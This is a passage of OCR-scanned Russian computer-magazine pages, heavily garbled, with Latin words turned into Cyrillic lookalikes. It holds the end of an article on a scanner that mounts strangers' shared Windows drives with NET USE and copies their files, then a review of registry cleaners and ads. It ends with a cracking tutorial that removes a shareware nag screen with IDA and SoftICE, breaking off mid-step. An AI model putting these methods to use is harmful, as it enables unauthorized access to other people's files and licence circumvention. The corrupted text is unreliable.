тается выдать на экран программа МЕТ.ЕХЕ, записывает в файл 
"сопігоі". Зачем? Да затем, чтобы потом определить, выполнилась 
ли успешно наша команда или нет. В седьмом пункте мы опреде- 
ляем путь папки Виндовса, так как некоторые деятели имеют 
свойство переименовывать папку до неузнаваемости. В восьмой 
строчке мы просто копируем нужный нам файл или файлы по ма- 
ске на свой винт в указанную папку. Девятая строчка - заключи- 
тельная. Мы отрубаем от своего компа подключенный диск юзве- 
ря. Делаем мы это той же командой "МЕТ ІІ5Е", передавая ей в ка- 
честве параметра имя отключаемого диска и, соответственно, ко- 
манду самого отключения, то есть "Д)ЕІ_ЕТЕ /ѴЕ5". Все. Теперь мы 
можем со спокойной душой перейти в начало нашего алгоритма. 



комментарии к программе> 



Как ты думаешь, почему я начал описывать тебе алгоритм про- 
граммы вместо того, чтобы просто написать листинг? Да все по- 
тому, что теперь ты сможешь как угодно изменять этот алгоритм. 
Захочешь, создашь глобальный поисковик МРЗ файлов на расша- 
ренных машинах твоего прова или по всей сети :). Конечно, про- 
читав эту статью и нормально разобравшись в структуре програм- 
мы, многие скажут, что это написать как раз плюнуть, однако до 
возникновения этой идеи я ничего подобного не видел. Многие 
программы просто искали расшаренные ресурсы, и далее поль- 
зователю нужно было самому подключать и отключать диски, 
искать на них файло и так далее, но этот простой алгоритм поз- 
воляет любому школьнику написать глобальный шаросканер 
без особых усилий и потом менять его как угодно. И не нужно 
знать тонкостей сети, использовать дополнительные библиоте- 
ки и писать килобайтные коды. Дешево и сердито. Кстати! Я бы 
назвал твою софтину "Драконом", так как очень уж понравилось 
мне это название ;). 



<Напоследок> 



Самое главное, не применяй свои знания во вредоносных целях, 
если, конечно, получится :). Переводи бабушек через дорогу, ус- 
тупай место в метро и не кидайся бутылками в милиционеров, их 
и так все обижают. В общем, привет тебе из далекого космоса! 




Рбіііро - изобретатель 
формата СО, 

на основе которого ІІЛ В О ^ В 
разработана ІѵІ я 




РНШР5 



Х-Стиль 



Кодинг 
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СОФТВЕРНЫЕ АССЕНИЗАТОРЫ 



ІѴССЕНИЗА 

Программы.жШорые вычистяі 
весь хлам иМШшемы - у 



ъ Андрей Каролик (апсігизііафзі.ги) 



До тех пор, пока на моей машине обитали 98 винды, я предпочитал прибегать к услу-' 
гам программы НВС СІеап Ведізігу ѵ.1 .7. Чем она меня так купила? Работает быстро, 
тщательно, иногда даже вдумчиво, все откаты корректны и вообще - после нее у меня 
ни разу не было немотивированных глюков, а быстродействие вверенной мне операци- 
онной системы было субъективно выше. Но с тех пор, как я пересел на ХР, поменялся 
и подход к инсталляции всякого разного. Не мудрствуя лукаво, перед тестированием 
очередной программы я всего лишь ставлю контрольную точку в состоянии системы, 
тестирую себе вволю; если программа мне не нравится - совершаю откат, и привет ро- 
дителям. Программы со всеми ее следами как не бывало. То же самое относится и к 
новым драйверам, особенно это касается ненасытной видюхи. Мой тебе личный совет: 
ішшавитъ, конечно, можно почти все, что угодно. Но лучше и безопаснее не доводить 
до моменту когда в ней нужно что-то править 



Что бы ты ни удалял и ни устанавливал на своем компьютере, все изменения фиксируются в своеобразной базе данных 
стеклянных - реестре. Там содержится вся информация о настройке твоего компьютера, о программном обеспечении, кото- 
рое ты на него устанавливал, и о самой операционной системе. Все было бы хорошо, если бы не глюкавость многих уста- 
новленных или удаленных тобою программ, которые зачастую некорректно работают с реестром. В результате со временем 
реестр в прямом смысле слова загаживается. В реестре появляется много ненужного мусора и некорректные записи. И это 
тоже было бы не так критично, если бы не влияло на производительность твоей тачки. Если же реестр не чистить вообще, то 
система может начать иногда беспричинно зависать или же некоторые программы будут глючить из-за некорректных изме- 
нений в реестре другими программами. К тому же на твоем винте остается много совершенно ненужных файлов и драйве- 
ров после удаления программ, создателей которых почему-то этот вопрос мало волновал. Но ситуация лечится, так как су- 
ществует множество программ, которые помогут тебе выгрести все говно из твоей давно нечищенной системы. Постоянная 
профилактика поможет восстановить систему даже после того, как твой друг покопается в реестре кривыми руками. Ниже я 
рассмотрю несколько программ, которые помогут поддерживать твою систему в хорошей спортивной форме. 






<АзИатроо УпІпзЫІег 2000 ѵ.2.0> 




Лого этого шампуня от перхоти 



Программулина по внешнему виду особыми изысками не вы- 
деляется, но сделана очень привлекательно и удобно. Как и в 
любых прогах, тут есть общее меню, вынесенные кнопки-дей- 
ствия, а с помощью вкладок разделены возможные области 
применения. Так тут есть вкладки Зеіесііоп (выбор) и Ѵіеѵѵ Род 
Рііе (просмотр логов). В Зеіесііоп доступны Ведізігу (реестр), 
йгіѵез (диски), Зузіепл Рііез (системные файлы) и Орііопз/Ісопз 
(опции и иконки). А в Ѵіеѵѵ Іюд Рііе доступны Ведізігу Сітапдез 
(изменения в реестре), СГіапдесІ Рііез (измененные файлы) и 
СІтапдесІ Зузіет Рііез (измененные системные файлы). 




Азііатроо ІІпІпзІаІІег 2000 может проводить мониторинг, ре- 
гистрацию и устранение любых изменений в твоей системе, 
включая установку новых приложений и изменения, прове- 
денные вручную. Если работа с реестром в этой программе 
практически ничем не отличается от работы в том же виндо- 
вом гедесій, то работа с системными файлами приятно по- 
радовала. Файлы АЩоехес.Ьа! и СопТід.зуз отображаются 
полинейно, а файлы Зузіет.іпі и ѴѴіп.іпі отображаются в ви- 
де вкладок. Вкладки соответствуют разделам внутри файла, 
а внутри каждой вкладки приводятся опции и их значения. 
Удобство состоит в наглядном отображении и возможности 
произвольно отключать и подключать любые разделы или 
опции. Все внесенные изменения прога автоматом пропи- 
сывает в нужных файлах. 




Работа с системными файлами в Азііатроо 
ІІпІпзІаІІег 2000 



Хочу еще остановиться на менюшке Асііоп (действия), в ко- 
торой нашел кучу полезных фич. В этом подразделе стоит 
обратить внимание на: 

РіпсІ апсі Эеіеіе Эиріісаіез (найти и удалить повторения) - поз- 
воляет просканировать выбранные диски на наличие повто- 
ряющихся файлов (либо по имени, размеру и содержанию, 
либо по имени, размеру и дате) и при желании удалить их. 
РіпсІ апсі Оеіеіе Тетр Рііез (найти и удалить Іетр-файлы) - 
сканирует временные файлы (по умолчанию все Мшр и в 
директории сДѵѵіпсІоѵѵзѴетр), далее их можно удалить все 
сразу или выборочно. 




Почисти у себя мусор 

Рііе Васкир (восстановить файл) - восстанавливает 
нужные файлы, если есть резервная копия (при уста- 
новке программа строит свою собственную базу, в ко- 
торой хранится информации о твоей системе, в даль- 
нейшем она периодически обновляется). 
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Оеіеіе Ропіз (удалить фонты) - позволяет просматривать са- 
ми фонты (с любым размером), подробную информацию о 
них и при желании удалять (в программах подобного рода 
впервые увидел возможность чистить и фонты). 




Ну-ка , ну-ка, что у меня туг с фонтами? 

Оеіеіе Ехізііпд Арріісаііопз (удалить существующее приложе- 
ние) - позволяет просматривать установленные приложения 
и удалять их (просматривает установленные приложения 
либо через папку Ргодгат Рііез, либо через Зіаіі Мепи, либо 
через реестр, можно даже по расширению файлов, которые 
принадлежат тому или иному приложению). 

Сгеаіе Іпзіаііаііоп Рііез (создать инсталляционные фай- 
лы) - позволяет делать текущие гед и Ш файлы для пе- 
реноса на другую тачку без непосредственной установ- 
ки приложений (потом достаточно просто скопировать 
содержимое винта и запустить созданные инсталляци- 
онные файлы на новой тачке). 

СІеап Іпіегпеі Агеа (чистка интернет-области) - позволяет 
чистить временные файлы после сидения в Инете и удалять 
ненужные соокіез. 

Ріпсі апсі йеіеіе Етріу Роісіегз (найти и удалить пустые 
папки) - позволяет находить пустые папки и при жела- 
нии удалять. 




Доступные фичи в подразделе Асііоп 

Вывод: очень много полезных возможностей по борьбе с лю- 
бым мусором в одной небольшой и компактной программе. 



<МсАТее ОиіскСІеап ѵ.1 .02> 



В аннотации сказано следующее: пакет для очистки дисков 
от ненужных файлов, удаляет следы старых программ, уст- 
раняет беспорядок, внесенный временными интернет-фай- 
лами, деинсталлирует и удаляет ненужные программы, про- 
граммы удаляются корректно и целиком. Написано красиво, 
посмотрим, что программа творит на самом деле... Первым 
делом бросилось в глаза стильное и модное оформление. 
Далее удивил нестандартный подход. Установка программы 
МсАіее ОиіскСІеап представляет собой пять последователь- 
ных шагов, которые помогают настроить программу еще во 
время установки на винт. 
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Теперь подробнее о шагах: 

Зіері ѴѴеІсопле (первый шаг) - разъясняется политика пар- 
тии: что можно, что нельзя, что ждет в светлом будущем. 
Зіер2 СІюозе ТМе іурез Іо ргоМ (второй шаг) - тут ты смо- 
жешь выбрать, какие файлы не трогать в принципе, что га- 
рантированно обезопасит их случайное удаление (напри- 
мер, вордовские файлы, если у тебя полно важных докумен- 
тов на винте в ворде). 




новкой и динамические библиотеки), АбѵапсесІ (более 
наглядное отображение возможностей пылесоса). 
Асііѵііу І_од (логи) - включает НероП Зиттагу (отобра- 
жает все отчеты программы), НероП І_од (отображает 
лог действий ОиіскСІеап), йізк Апаіузіз (анализирует 
изменения на дисках), Рііе Апаіузіз (анализирует изме- 
нения в файлах). 




ЗІерЗ СІюозе Тоісіегз Іо ртіесі (третий шаг) - аналогич- 
но предыдущему шагу, но уже с директориями (удобно, 
если важных файлов полно, достаточно скинуть их все в 
одну директорию или же пометить несколько подобных 
директорий). 

81ер4 СІюозе ОиіскСІеап І_ііе сіеапегз (четвертый шаг) - вы- 
бор, что, собственно, удалять и чистить (содержимое корзи- 
ны, временные файлы, ярлыки, потерянные фрагменты 
файлов, реестр, кэш, мыльную папку "Удаленные", мыльную 
папку "Посланные"). 



Вывод: очень мощная программа, которая позволяет осво- 
бодить жесткий диск и систему от хлама без удаления кри- 
тически важных директорий, файлов и записей. 



<МсАТее Ііпіпзіаііег ѵ.6.01 > 



Один производитель - одна стратегия. Опять тот же дизайн, 
опять тот же нестандартный подход к установке с конфигу- 
рацией программы. Поменялось только название. 








51ер5 Зсіюсіиіе аиіотаііс орегаііопз (пятый шаг) - раз- 
решение почистить и разрешение мониторинга даль- 
нейших изменений в системе, при этом строится 
ЗтагШпкз база данных. 

После выполнения всех пяти шагов ты попадешь в основное 
меню, в котором уже есть пять тематических 
разделов со своими подразделами. 

СІеапІІр (чистка) - включает ОиіскСІеап 
Ше (удаление файлов выбранной катего- 
рии), Зрасе Макег (поиск всевозможных 
файлов, не входящих в список запрещен- 
ных для удаления, дальнейшее освобож- 
дение максимально возможного свобод- 
ного пространства на диске с выбороч- 
ным удалением из списка подпадающих 
под удаление файлов), Ветоѵе (удаление 
приложений). 

Іпіегпеі (Интернет) - включает Сасію (очи- 
стка кэша браузера), Соокіез (удаление за- 
кладок браузера), Е-шаіІ (удаление старых 
писем и аттачей), Асііѵе X и РІид-Іпз (удале- 
ние скачанных из Инета приложений для 
браузера). 

Арріісаііопз (приложения) - включает Агсіііѵе 
(архивация приложений), Васк Тгаск (мони- 
торинг установки новых приложений), Моѵе 
(перемещение уже установленных приложе- 
ний в новые директории), Тгапзроіі (упаков- 
ка приложений для перемещения), Везіоге 
(восстановление приложений, которые были 
заархивированы). 

РоѵѵегСІеап (суперпылесос) - включает 
Редізігу (отображает неиспользуемые 
или некорректные записи реестра), 
йиріісаіе Рііез (отображает повторяющи- 
еся файлы), ОгрІіапесІ Рііез (отображае- 
мые приложения с незавершенной уста- 



Все те же пять шагов, так что описывать нет смысла - смо- 
три предыдущее описание. Аналогично ставится защита на 
файлы и директории, генерится база о текущем состоянии 
твоей системы. 




I Х-Стиль Кодинг иоуЗ^іск Юниты 
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СОФТВЕРНЫЕ АССЕНИЗАТОРЫ 



ф Андрей Каролик (апс)ги5Ііа@5І.ги) 



МВС СІеап Ведізігу в своем роде системная утилита для 
ѴѴіпсіоѵѵз 95/98/МТ /2000 , позволяющая чистить реестр. Она 
находит файлы и папки с неверными ссылками на програм- 
мы и по желанию удаляет их. В настройках ты можешь оп- 
ределить, на каком диске смотреть реестр и в каких разде- 
лах реестра рыться. 
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Ладно, устанавливаю, запускаю и смотрю дальше. Откры- 
ваю подменю... Еперный дятел. Те же возможности, только 
другое ветвление в меню и нету возможности чистить мусор 
в браузерах. Я даже не понял, зафиг было делать две раз- 
ные проги, если они практически одинаковые. Но, видимо, 
догоняю - с двух прог лаве собрать можно в два раза боль- 
ше :). Описывать дальше не буду, так как полная аналогия с 
предыдущим описанием. 

Вывод: если у тебя еще не стоит МсАІее ОиіскСІеап, то мо- 
жешь смело ставить себе МсАІее ІІпІпзУІег. 



Ій 




* * 



<МВО СІеап Редізігу ѵ.1 .7> 



По виду программы сразу не сказал бы, что это крутой де- 
вайс. Скорее чей-то самопальный вариант. Но пошуровав 
внутри, понял, что программа стоящая. 



Настройки в ИВО СІеап Педізігу 

После выставления нужных настроек запускаешь и ждешь 
некоторое время, пока эта шняга пробежит по твоему реес- 
тру и проверит соответствие записей в реестре текущему 
состоянию дел на твоем винте. В процессе генерится спи- 
сок с указанием разделов, ветвей и некорректных записей в 
них. Кстати, сканирование ты можешь остановить в любой 
момент. Далее просто бегаешь мышкой по списку и чис- 
тишь, что считаешь нужным. К тому же тут есть функция 
Сиге (можно через РЗ), которая пытается исправить некор- 
ректную запись. 







Внешний прикид ЫВС СІеап Педізігу 



Подмывайся перед сном 



Реклам» РННІР8 Ехрапішп с бегущим человеком 

""“""""ІОООООО 

умещен в России, 

' *2е^ВРЧтооольше населении 
г Монако в 36,7 раз. 




Вывод: простая и в то же время надежная 
щетка для чистки реестра, советую поиметь 
для своего гардероба. 



<(ЗиіскСІеап ѵ.5.07> 



Простая программка для очистки дисков от 
избыточной информации. 




Добро пожаловать в ОиіскСІеап 

Такое впечатление, что у автора проги была 
какая-то фобия, так как прога открывается в 
малюсеньком окошке и нет никаких меню- 
шек, а просто всегда есть кнопка "Дальше". 
После заставки сообщается, что надобно вы- 
брать диски, которые пора почистить, а ка- 
кие стоит игнорировать. 
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Потом появляется миловидный пьяный сейф :) и надпись, 
что, типа, все путем, чувак, можешь пока пить пиво. Потом 
программа запрашивает на удаление разные файлы, кото- 
рые по ее мнению тебе больше не нужны (всяческие *.Ьак, 
Мтр и т.д.). Если ты не решишься, что делать с файлом в 
течение 15 секунд, то ОиіскСІеап оставит его в покое и нач- 
нет спрашивать о следующем. Если же ты ответишь "Не 
удалять", то будет запрос на то, чтобы пометить его от сле- 
дующего сканирования программой, чтобы не отвечать 
"Нет" каждый раз. Выбрать можно только этот файл, подоб- 
ные или все из этой директории. 




В конце всей процедуры программа наконец родит нечто, 
напоминающее главное меню, в котором будут подразделы: 
Зсііесіиіе Зсапсіізк - запуск скандиска (с выбором - исполь- 
зовать виндовый скандиск или любой другой, который ты 
установил на свою тачку). 

Зсііесіиіе Оеігадтепіаііоп - запуск дефрагментатора (с вы- 
бором - использовать виндовый дефрагментатор или любой 
другой, который ты установил на свою тачку). 

Зсііесіиіе ОЙіег ОЬіесіз - область других приложений (сюда 
ты можешь мышкой перетащить иконки других прог по чи- 
стке и мытью системы). 

ЕсШ Зсііесіиіе Тазк І_ізІ - редактирование графика суб- 
ботников. 

Моге Зейіпдз - установки для самого ОиіскСІеап. 

Оиіі Ргодгатт - слинять. 
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Вывод: простой мусоросборник старых (дату задаешь сам), 
нулевых (по размеру), ненужных, установочных файлов и 
прочего барахла на винте. 



<РедізІгу Сотргеззог Рго ѵ. 1 . 1 > 





Ньюсы Террум ^ 
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Логотип Ітеі, Іпіеі Іпзісіе и Репііит являются зарегистрированными товарными знаками, а Репііит 4 - товарным знаком Іпіеі Согрогаііоп 
или дочерних компаний Іпіеі Согрогаііоп на территории США и других стран. 











РгохІта* МС 



С помощью компьютера К-Зіуіе® РгохІта® МС на базе высокопроизводи- 
тельного процессора Іпіеі® Репііит® 4 Вы сможете играть в самые 
современные компьютерные игры. По новейшим мультимедийным 
энциклопедиям Вы сможете быстрее запомнить и глубже проработать 
материал. Также компьютеры производства К-5іу1е Сотриіегз открывают 



практически неограниченные возможности для создания музыки, 



компьютерной графики, редактирования видео и моделирования вселенной. 


Технические характеристики: 

Процессор: Іпіеі® Репііит® 4 1,50 ГГц (2,53 ГГц) 
Память: 128 МБ (3ГБ) 

ІИЮ 1.44 МБ 
Ст 52х 

Жесткий диск: 20 ГБ (60 ГБ 7200 об/мин) 

Звук совместимый с АС’97 
Операционная система Місгозой® УХУіпсІоаѵз® 


Внимание И! 

С 20 августа по 30 сентября 
компаниями К-Зіуіе® Сотриіеп и Іпіеі * 
проводится маркетинговая программа 
«Снова в школу», 

приобретите компьютер с БЕСПЛАТНЫМ 
программным обеспечением!!! 


Компьютеры Р-$1у1е® РгохІта® сертифицированы на 
совместимость с операционной системой Місгозо/і® ѴСШот® ХР. 


Система качества разработки, проектирования и производства 
К-51у1е Сотриіегз сертифицированы на соответсвие 
международному стандарту ИСО 9001:2000. 
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Оптовые поставки: ма\ау.гзі.ш 
Компания К5І тел.: (095) 907-1101, факс: (095) 904-5995 
Интернет магазин: мАто.сотриіегрІага.ги 
Техническая поддержка: 

К-5іу1е Сотриіегз тел.: (095) 903-3830 
мА\Аѵ.г-5іу1е-сотриіегз.ги 



Партнеры по розничной продаже и системной интеграции: 



Астрахань 

Компания «ТАН» 

(8512) 24-57-43, 22-70-60, 

39-21-24 

Братск ООО БАЙТ 

(395-3) 41-1121,41-3834 

Владивосток К-8іу1е 

(4232) 26-9052 

Губкинский, ЯНАО 

МУЛ «ПурИнформ» (345 36) 5-5719 



Красноярск Лансервис 
(3912) 23-9342, 23-8370 
Москва АБН 

(095) 960-2323, 

755-8813 (многокан.) 

Москва 

К-5іу1е (095) 904-1001 (многокан.) 

Москва 

Группа компаний СИБКОН 
(095) 923-44-72, 292-7762 



Нижний Новгород К-8іу1е 
(8312) 44-3517, 44-1622 
Новосибирск К-8іу1е 
(3832) 66-8058, 66-6378 
Ростов-на-Дону К-8іу1е 
(8632) 52-4813, 58-7170 
Санкт-Петербург К-8іу1е 
(812) 167-14-30 (31,32) 
Тула Питер - Софт 
(0872) 355-500, 335-510 



Уфа Альбея-Техпроект 
(3472) 23-7472, 23-7476 
Уфа Онлайн 
(3472) 248-228, 259-681 
Хабаровск К-5іу1е 
(4212) 21-8549, 22-0675 
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СОФТВЕРНЫЕ АССЕНИЗАТОРЫ 



Андрей Каролик (апс)ги5Ііа@5І.ги) 



Специфическая программулька, которая автоматически пе- 
ресоздает реестр в случае возникновения проблем с систе- 
мой. Есть еще возможность оптимизировать реестр по мак- 
симуму, вычищая мусор, который осел на стенках. Собст- 
венно эту функцию я и протестировал. Ткнул Сотргезз, по- 
сле чего программа сказала: чувак, все в норме, перезагру- 
жай тачку. Перезагрузил. До загрузки виндов подгрузился 
процесс считывания и бекапа старого реестра. После этого 
пошли анализ, чистка и перезапись реестра. На моем 450- 
ти мегагерцовом втором пне это заняло минут 30. После 
следующей перезагрузки глюков не заметил, а программа 
радостно мне сообщила, что мой реестр похудел на 45Кб и 
скорость будет, как на форсаже :). В любом случае програм- 
ма делает бекап, и ты всегда сможешь вернуть то, что было 
до. Программа удобна еще в частом тестировании шаров. 
Так как именно эти особи сильнее всего засоряют реестр, то 
ты всегда сможешь их снести, а реестр подгрузить из 
предварительно сделанного бекапа. 
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<Реді5ігу ЗеагсЬ апсі Керіасе ѵ.2.15> 
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Вывод: более слабая, но доступная аналогия Редізігу 
Сотргеззог. 



<РедізІгу Тооіз ѵ.2.0> 



Из названия я сначала подумал, что это целый пакет по ра- 
боте с реестром и системой, Тооіз все-таки. Оказалось же, 
что Редізігу Тооіз - простое приложение для резервного со- 
хранения и восстановления реестра окошек. 




Как и обычно, есть возможность сохранить текущий реестр 
(Васкир Редізігу) и есть возможность потом его же восста- 
новить (Везіоге Редізігу). Единственное отличие программы 
в том, что она позволяет еще делать резервную дискету, с 
которой реестр можно восстановить из доса (Маке Ріх-іі 
йізк). Вроде бы небольшое, но гиперполезное дополнение. 
Вывод: учитывая, что весит установленная прога не бо- 
лее 1 ,2 Мб, можно поставить в качестве компактного ог- 
нетушителя. 



<5ирег СІеапег ѵ. 1 .6> 



Вывод: предохраняться надо не только во время секса, так 
что почисти и забекапь свой реестр на случай инфекции. 



Еще одна кульная программка напоследок, хотя отношения 
к реестру прямого она и не имеет. Но с мусором работает 
заедательски. 



Еще одна утилита, с помощью которой можно на случай 
ядерной войны сохранить реестр ѴѴіпсіоѵѵз N1 и ѴѴіпсіоѵѵз 9х. 




Внешний вид приятен и не отпугивает :). Сфера деятельно- 
сти изначально разделена на 4 раздела: работа с ненужны- 
ми файлами (ІІппеесІесІ Рііез), работа с мусором от Инета 
(Іпіегпеі: Ргіѵасу), работа с меню "Пуск" (Зіагі Мепи СІеапег) 
и подработка на других фронтах (МізсеІІапеоиз). 




Кроме того, в этой программе можно делать поиск по зада- 
ваемому шаблону в реестре и вносить какие-то изменения 
опять же по шаблону. Удобно, если у тебя пошаливает ка- 
кая-то программа, а тебе лениво искать ее корни в реестре 
вручную. Просто ищешь с шаблоном, который содержит ее 
название. Программа может работать как с локальным рее- 
стром, так и с удаленным (в сети). Видимо, веяния интер- 
нет-технологий задели автора за живое :). 



Теперь подробнее по разделам. В ІІппеесІесІ Рііез размещен 
сканер на предмет наличия на твоих винтах различных не- 
нужных и устаревших файлов. После сканирования выво- 
дится списочек, который ты можешь уже вручную покоцать. 
В опциях ты можешь определить, какие файлы искать, где 
их сканировать и что с ними делать при удалении (в корзи- 
ну помещать или нет). 
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Іпіегпеі: Ргіѵасу ты можешь почистить временные файлы 
браузеров, удалить запомненные урлы (файлы журнала) 
и почистить куки. К моему удивлению, тут есть даже 
разделение на два вида браузера - ИЕ и Нетшкаф. А где 
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В Зіаіі Мепи СІеапег ты сможешь избавиться от пустых 
ссылок в меню "Пуск". Опять же в наличии сканер, в ко- 
тором можно задать, где искать (сдр-ом, съемные дис- 
ки, сетевые диски) и помещать ли в корзину при удале- 
нии. Все просто и удобно. 
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В МізсеІІапеоиз можно: 

- почистить корзину 

- расставить все ссылки в "Пуск" в алфавитном порядке 

- расставить все ссылки в "Раѵогііез" в алфавитном порядке 

- очистить Пуск -> Документы в "Пуск" 

- очистить Вип в "Пуск" 
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Вывод: ЗирегСІеапег - быстрый, мощный и простой мусоро- 
сборник для пользователей ѴѴіпсіоѵѵз 95/98/МТ и 2000. 



<Пы.Сы.> 



Все приведенные программы ставил и тестировал собст- 
венноручно и в трезвом состоянии :), но какая из них более 
оптимально подходит тебе для чистки реестра - смотри сам. 
Однозначно забудь про виндовый гедесій и поставь любую 
из вышеописанных программ, которая максимально удов- 
летворяет твои запросы. Удачи в уборке :). 
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Взлом 



СКАСКІМОі ШАГ ВТОРОЙ 



Александр А. Феденко ака Ьасітап Тогеѵег 
(Тес1епко_50Й@таИ.ги) 






шаг второй 



V/ вышедшей в июльском 

В статье примерах. Выполняю 
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Ты установил шароварную 
программу. И автор даже со- 
гласен дать тебе возмож- 
ность бесплатно ею пополь- 
зоваться. Но поскольку он, 
как и ты, не прочь иногда по- 
сидеть с девочками в баре, 
попивая ром с кока-колой и 
закусывая рябчиком в анана- 
сах, прокатиться по улице на 
сверкающем "Ягуаре", то в 
его прогнившей душе зарож- 
дается мысль, что ты ему 
должен. И не веря, что вос- 
торженные пользователи 
сразу же побегут платить 
свои кровные, как только он 
об этом попросит, автор на- 
чинает добавлять в програм- 
му различные ограничения 
или штуки, которые будут 



- 

Ньюсы ^Террум ЕІРС 



мешать тебе работать, пока 
ты не заплатишь. Но в тебе- 
то течет кровь твоих предков, 
свято веривших в комму- 
низм, а попросту говоря: в 
полную халяву. И в тот мо- 
мент, когда рука человека, 
всосавшего вкус капитализ- 
ма с молоком матери, тянет- 
ся к кошельку или кредитной 
карточке, твоя рука реши- 
тельно сворачивается в уве- 
систый кукиш :). И тебе оста- 
ется одно - исправить чужую 
программу, лишь бы не пла- 
тить денежку. Даже если це- 
на ей полкопейки. Конечно, 
можно скачать готовый крэк 
или даже написать свою про- 
грамму. Но ведь ты твердо 
решил стать крэкером. 



Ыад-8сгееп'ы в шароварных программах 



Один из самых популярных способов убеждать поль- 
зователя в том, что зарегистрированная программа 
предпочтительнее незарегистрированной, - время от 
времени (лучше в самый неподходящий момент) вы- 
водить так называемый пад-зсгееп. Т.е. окно, в кото- 
ром автор обычно напоминает, что неплохо бы уже и 
денежку заплатить. В простейшем случае других ог- 
раничений у программы может и не быть, и тогда 
пад-окно является единственным раздражающим мо- 
ментом. Иногда такие окна всплывают и в бесплатных 
программах и имеют рекламный характер, что, впро- 
чем, раздражает не меньше. №д-окна можно увидеть 
в 100, АСЭЗее, ѴѴіпВАВ, да что там говорить, практи- 
чески во всех шароварных программах. 



Шниксоид 5 
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Ыад-зсгееп в МаіІ ТЬет Рго 



Так как ты сейчас будешь первый раз в жизни 
взламывать программу, я решил подобрать пример 
достаточно несложный. И удаление пад-окна впол- 
не для этого подходит. В качестве подопытного 
кролика у нас будет выступать программа МаіІ 
ТІіет Рго 6.2 (ѵѵѵѵѵѵ.кабту.сот), предназначенная 
для массовой рассылки электронной почты (говоря 
языком русским - для спама). При запуске она 
каждый раз выводит окно, в тексте которого тебе 
предлагают расстаться с 70 американскими рубля- 
ми без 5 американских копеек. После нажатия 
кнопки "I Адгее" пад-зсгееп исчезает и запускается 
главное окно программы. Кроме того, незарегист- 
рированная версия позволяет за одну сессию от- 
сылать письмо не более чем на 40 адресов. Также 
отключена функция сохранения списков рассылки, 
а в хвост отсылаемых писем добавляется строчка 
"ІМЕѴЕВ 5ЕІ\Ю 5РАМ. ІТ 15 ВАО". 



Запущенный МаіІ ТІіет Рго 



Крякаем МаіІ ТМет Рго 



Итак, ставь МаіІ ТІіет Рго, и мы приступим к про- 
цессу взлома. Как я уже сказал, наша основная за- 
дача - отключить пад-зсгееп. Остальные ограниче- 
ния нас пока не интересуют. Конечно, если удастся 
обойти и их - отлично, если нет - черт с ними, это 
пока не главное. Посмотрим на сам файл 
таіІІІіет.ехе с помощью редактора ОѴіеѵѵ или встро- 
енного в РАВ вьювера. Наметанный глаз сразу заме- 
тит, что программа написана и откомпилирована в 
среде ОеІрЫ. Например, на это указывают встреча- 
ющиеся в общей каше названия стандартных клас- 
сов и обработчиков событий, свойственные этому 
компилятору. В частности, упоминание класса 
ТАррІісаІіоп. Скажу честно, я специально подобрал 
программу, написанную в ОеІрЫ. Дело в том, что 
при взломе таких программ у крэкера есть дополни- 
тельные возможности и будет глупо ими не вос- 
пользоваться. Вообще, знание того, на каком языке 
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написана и в чем откомпилирована программа, поз- 
воляет порой существенно ускорить процесс взлома 
и избавляет от массы рутинной работы. Всегда по- 
мни об этом. 



Определяем, что программа сделана на Оеірііі 



Дизассемблируем 



Первое, что мы делаем, - загружаем файл 
таіІІІіет.ехе в дизассемблер ЮА Рго. Первоначаль- 
ный анализ начинается автоматически. После того 
как дизассемблирование завершится, необходимо 
убедиться, что ЮА подключила нужный модуль с 
сигнатурами библиотечных функций Оеірііі. Для 
этого идем в меню Ѵіеѵѵ и выбираем пункт 
Зідпаіигез. Если открывшийся список пуст, жмем 
клавишу [Іпзеіі] и из полного списка поддерживае- 
мых библиотек выбираем модуль для йеірііі. После 
того как процесс распознавания завершится, от- 
крываем список найденных функций (пункт меню 
Ѵіеѵѵ/Рипсііопз). Чтобы в этом окне быстро найти 
нужную функцию (а их там будут тысячи), доста- 
точно просто набрать ее имя на клавиатуре. Нас 
интересует одна - ТСизІотРогт::ЗІіоѵѵ. Этот вызов 
наследуется всеми оконными формами в Эеірііі, и 
именно с его помощью мы отловим вывод пад-ок- 
на. Жмем [Епіег], теперь в окошке с дизассембли- 
рованным текстом программы (чтобы быстро пере- 
ключиться на него, нажми [АН] [2]), указатель встал 
на начало этой функции. Сразу же запишем ее ад- 
рес 0044ЕЕ90 (здесь и далее все адреса и смеще- 
ния - шестнадцатеричные), он нам еще по- 
надобится. Справа, в виде комментария, 
указаны адреса, откуда функция вызывает- 
ся. Так как их много, то изучать эти вызовы 
в дизассемблере - занятие долгое, и мы 
переходим к следующему шагу - использо- 
ванию отладчика ЗоЙІСЕ. 



мы (нам это пригодится). А теперь запускай от- 
ладку (МосіиІе/І_оасІ). Загрузчик сообщит об от- 
сутствии отладочной информации, забудь об 
этом, ни в одной коммерческой программе ты 
ее, скорее всего, никогда и не увидишь, так что 
просто продолжай загрузку. 

Итак, мы оказались в главном окне отладчика. Ты 
удивлен, что перед тобой обычная командная стро- 
ка. Забудь про красивые окна, мощь командного 
языка ЗоЙІСЕ огромна и не уместится ни в одном 
гуевом интерфейсе. Первым делом убедись, что, 
кроме области командной строки, отображены все 
окна, которые понадобятся при работе. Основные - 
это регистры процессора, данные и непосредствен- 
но исполняемый код на языке ассемблера. Пере- 
ключаются они командами ѴѴП, \ЛЮ и ѴѴС, соответст- 
венно. Для ознакомления с другими командами на- 
бери НЕІ_Р (или просто Н). А РКЕѴ расскажет тебе 
об используемых горячих клавишах. 
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Приступаем к кряку 



Но вернемся к нашему кролику. Если ты еще не за- 
был, нам необходимо отследить вызовы функции 
ТСи$іотРогт::ЗІю\л/. Для этого нужно установить точку 
останова (Ьгеакроіпі). Выполним команду ВРХ44ЕЕ90 
(адрес мы взяли в ЮА). Теперь каждый раз, ког- 
да программа будет выполнять эту функцию, мы 
будем выпадать в отладчик. Запусти программу 
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на выполнение (команда X или С, либо клавиша [Р5]). 
Как видишь, ты практически сразу же оказался опять 
в отладчике. Это сработал наш Ьгеакроіпі Т.е. про- 
грамма собирается вывести окно (мы ее остановили в 
начале процедуры вывода). Продолжи выполнение. 
Появилась заставка, и ты снова вывалился в отлад- 
чик. Сейчас будет выведено еще одно окно. Жмем 
[Р5] и видим тот самый пад-зсгееп, от которого хотим 
избавиться. Значит, второй вызов процедуры и выво- 
дит не полюбившееся нам окно. Жмем кнопку "ОиіГ. 

И заново запускаем программу через загрузчик. За- 
тем [Р5] для запуска до первого останова и еще раз 
до второго. Сейчас программа остановлена в начале 
процедуры вывода пад-окна. Ріо функция 
ТСизІотРогт::5Ііоѵѵ используется для вывода всех 
